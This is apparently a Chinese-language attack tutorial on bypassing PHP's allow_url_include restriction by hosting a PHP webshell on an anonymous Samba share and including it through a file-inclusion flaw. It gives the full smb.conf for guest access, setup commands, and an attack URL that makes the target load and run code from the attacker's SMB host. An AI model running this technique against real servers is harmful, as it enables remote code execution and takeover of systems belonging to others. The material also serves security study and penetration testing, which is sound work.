前言
文章講訴了如何繞過遠程URL包含限制。在PHP開發環境php.ini配置文件里”,allow_url_include“為“off”的情況下,不允許PHP加載遠程HTTP或FTP url包含遠程文件。但是使用SMB依舊可以加載。
攻擊思路
攻擊者需要配置SMB服務器,啟用匿名瀏覽訪問。利用有漏洞的PHP代碼從SMB共享里訪問PHP Webshell。
-
配置php.ini文件禁用 "allow_url_fopen" 和 "allow_url_include" 。
-
配置SMB服務器的匿名讀訪問權
-
利用有漏洞的PHP程序訪問SMB
PHP環境設置
在PHP.ini文件里把 "allow_url_fopen" 和 "allow_url_include" 設為 "Off"。
當前配置PHP版本為“5.5.11”:
確定PHP不允許遠程文件包含
試圖從遠程主機包含PHP Web shell時,應用程序拋出錯誤並且沒有發生RFI。
配置匿名讀訪問SAMBA服務器(Linux)
使用下面提到的命令安裝SAMBA服務器:
創建SMB共享目錄(/var/www/html/pub/)
mkdir /var/www/html/pub/
配置SMB共享目錄的權限:
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
運行以下提到的命令刪除SAMBA服務器配置文件的默認內容
echo > /etc/samba/smb.conf
將下面提到的內容放在'/etc/samba/smb.conf'文件中
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
重新啟動SAMBA服務器
service smbd restart
成功重新啟動SAMBA服務器后,嘗試訪問SMB共享並確保SAMBA服務器不需要憑據驗證。
\\192.168.0.3\
在SMB共享中托管PHP Web shell
在目錄'/var/www/html/pub'
中托管PHP shell
利用Windows Explorer打開SMB訪問 Win+R直接訪問。
\\192.168.0.3\ica\
攻擊文件包含漏洞參數
利用SMB的php webshell路徑傳入文件包含漏洞的參數里。
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php
SMB共享中獲取Web shell並在應用程序服務器上順利執行PHP代碼,繞過了遠程文件包含的限制。